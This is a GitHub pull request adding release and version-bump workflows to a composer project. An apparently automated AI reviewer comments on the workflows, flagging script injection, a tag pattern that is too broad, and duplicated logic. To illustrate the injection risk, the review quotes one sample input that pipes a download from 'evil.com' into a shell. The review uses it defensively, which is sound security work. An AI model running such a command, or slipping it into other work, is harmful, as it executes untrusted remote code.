ci: GitHub Actions 릴리즈 및 버전 bump 워크플로우 추가#2
Conversation
- release.yml: 태그 push 시 자동으로 GitHub Release 생성 - 직전 릴리즈 이후 커밋 메시지 기반 release notes 자동 생성 - version-bump.yml: workflow_dispatch로 수동 버전 bump - patch/minor/major 또는 직접 버전 명시 가능 - 최신 태그 기반 semver bump 후 태그 생성 + push + GitHub Release Co-authored-by: opencode <no-reply@opencode.ai>
|
This PR introduces two new GitHub Actions workflows to automate semantic version bumping and GitHub Release generation. tbh, this is a solid start for automating releases, but there's a sneaky architectural overlap here. Because This is just a short preview. For a detailed, line-by-line code review (including bug detection and security checks), please write a comment like (Note: To set a default review language for this repository, please add a line like |
✅ AI Code Review CompletedAnalysis of 2 workflow files (153 lines) is done. Found 1 critical security issue (script injection), 1 major bug (overly broad tag pattern), and 2 minor improvements. Review has been posted with 4 inline comments. Reviewed with |
There was a problem hiding this comment.
CI Workflow Review — release.yml & version-bump.yml
Solid foundation for automating releases on this repo. The tag-based SSOT approach makes sense given there's no version field in composer.json, and softprops/action-gh-release@v2 is the right choice (latest stable is v2.6.1, no security issues). The separation between "tag-triggered release" and "manual version bump" workflows is clean and well-thought-out.
That said, there are a few things that need attention before this ships:
Issues Found
-
Script injection in
version-bump.yml— Thegithub.event.inputs.bump_typevalue is interpolated directly into a bashrun:block. Yes,workflow_dispatchis limited to repo collaborators, but this is still a script injection vector. A malicious or mistyped input like'; curl evil.com | sh #would execute arbitrary commands. Use an environment variable instead. -
Tag pattern
*.*.*is too broad — This matches literally anything with two dots:foo.bar.baz,v1.2.3,test.0.1. Should be tightened to something like'[0-9]*.[0-9]*.[0-9]*'at minimum, or add a semver validation step. -
Duplicated release logic — Both workflows have nearly identical release note generation +
softprops/action-gh-releasesteps. If you ever change the release format, you'd have to update both. Consider extracting to a reusable workflow thatversion-bump.ymlcalls after pushing the tag.
CI Status Note
The Tests workflow is failing on this PR, but it's a pre-existing issue — run-tests.yml still uses actions/cache@v2 which GitHub deprecated and now actively blocks. That's not caused by this PR, but worth fixing separately (upgrade to actions/cache@v4).
Verdict
The script injection issue is the main blocker — it's a security best practice that's easy to fix. The tag pattern and code duplication are important improvements too. Requesting changes for the security fix; the rest are strong recommendations.
💡 Tip: To set a default review language for this repository, add a line like
Default review language: Englishto yourAGENTS.mdfile.
🔄 This bot will automatically re-review when new commits are pushed to this branch. You can also trigger a review by mentioning @op-gg-ai-devops in a PR comment. Examples:
@op-gg-ai-devops review this@op-gg-ai-devops review security concerns@op-gg-ai-devops focus on the shell scripts
| - name: Generate release notes | ||
| id: notes | ||
| run: | | ||
| NEW_TAG="${{ steps.version.outputs.version }}" | ||
| PREVIOUS_TAG=$(git tag --sort=-v:refname | grep -v "^${NEW_TAG}$" | head -1) | ||
|
|
||
| if [ -z "$PREVIOUS_TAG" ]; then | ||
| NOTES=$(git log --pretty=format:"- %s (%h)") | ||
| else | ||
| NOTES=$(git log --pretty=format:"- %s (%h)" "${PREVIOUS_TAG}..HEAD") | ||
| fi | ||
|
|
||
| echo "notes<<EOF" >> "$GITHUB_OUTPUT" | ||
| echo "$NOTES" >> "$GITHUB_OUTPUT" | ||
| echo "EOF" >> "$GITHUB_OUTPUT" | ||
|
|
||
| - name: Create GitHub Release | ||
| uses: softprops/action-gh-release@v2 |
There was a problem hiding this comment.
Duplicated release logic across two workflows: maintenance risk
This entire block (release note generation + softprops/action-gh-release) is nearly identical to release.yml lines 20-50. Right now you're maintaining the same bash logic in two places.
Two approaches to DRY this up:
-
Remove the release creation from
version-bump.ymlentirely — just push the tag and letrelease.ymlhandle it. But wait,GITHUB_TOKEN-triggered tag pushes don't trigger other workflows. So you'd need a PAT or aworkflow_calldispatch. -
Extract a reusable workflow (
release-create.ymlwithon: workflow_call) and call it from both:
# In version-bump.yml, after tag push:
call-release:
needs: bump
uses: ./.github/workflows/release.yml # or a dedicated reusable oneEither way, having the same release logic in two files is a maintenance hazard — change one, forget the other, get inconsistent releases.
| run: | | ||
| # 직전 태그를 찾아서 그 사이의 커밋 메시지로 릴리즈 노트 생성 | ||
| CURRENT_TAG="${GITHUB_REF#refs/tags/}" | ||
| PREVIOUS_TAG=$(git tag --sort=-v:refname | grep -A1 "^${CURRENT_TAG}$" | tail -1) |
There was a problem hiding this comment.
Fragile previous-tag lookup: grep -A1 has edge cases
The grep -A1 "^${CURRENT_TAG}$" | tail -1 approach to find the previous tag is a bit fragile. If CURRENT_TAG contains regex-special characters (unlikely for semver but possible with the current broad tag pattern), grep could behave unexpectedly. Also if the current tag is the oldest tag, grep -A1 returns only one line, and tail -1 returns the current tag itself — you handle this on line 27, but the logic is more complex than needed.
Consider using git describe instead, which is built for exactly this:
PREVIOUS_TAG=$(git describe --tags --abbrev=0 "${CURRENT_TAG}^" 2>/dev/null || echo "")This directly asks git "what's the most recent tag before this commit's parent?" — cleaner and more robust.
Co-authored-by: op-gg-ai-devops[bot] <255644809+op-gg-ai-devops[bot]@users.noreply.github.com>
Co-authored-by: op-gg-ai-devops[bot] <255644809+op-gg-ai-devops[bot]@users.noreply.github.com>
개요
이 PR은 자동 릴리즈 관리를 위한 GitHub Actions 워크플로우 2개를 추가합니다.
추가된 워크플로우
1.
release.yml— 자동 릴리즈 생성*.*.*패턴) push 시 자동 실행git tag 2.0.3 && git push origin 2.0.3→ 자동으로 릴리즈 생성2.
version-bump.yml— 수동 버전 bump + 릴리즈patch/minor/major) 또는 직접 버전 입력 (e.g.3.0.0)왜 이 방식인가
composer.json에 version 필드가 없으므로, git 태그를 단일 진실 공급원(SSOT)으로 사용합니다.release.yml은 어떤 방식으로든 태그가 push되면 릴리즈를 생성하는 범용 워크플로우version-bump.yml은 개발자가 직접 버전을 결정하고 bump할 때 사용하는 편의 워크플로우git tag+ push로도, workflow_dispatch로도 릴리즈가 생성됩니다.기존 워크플로우와의 관계
run-tests.yml: 변경 없음. 테스트 워크플로우는 독립적으로 동작합니다.현재 최신 태그:
2.0.2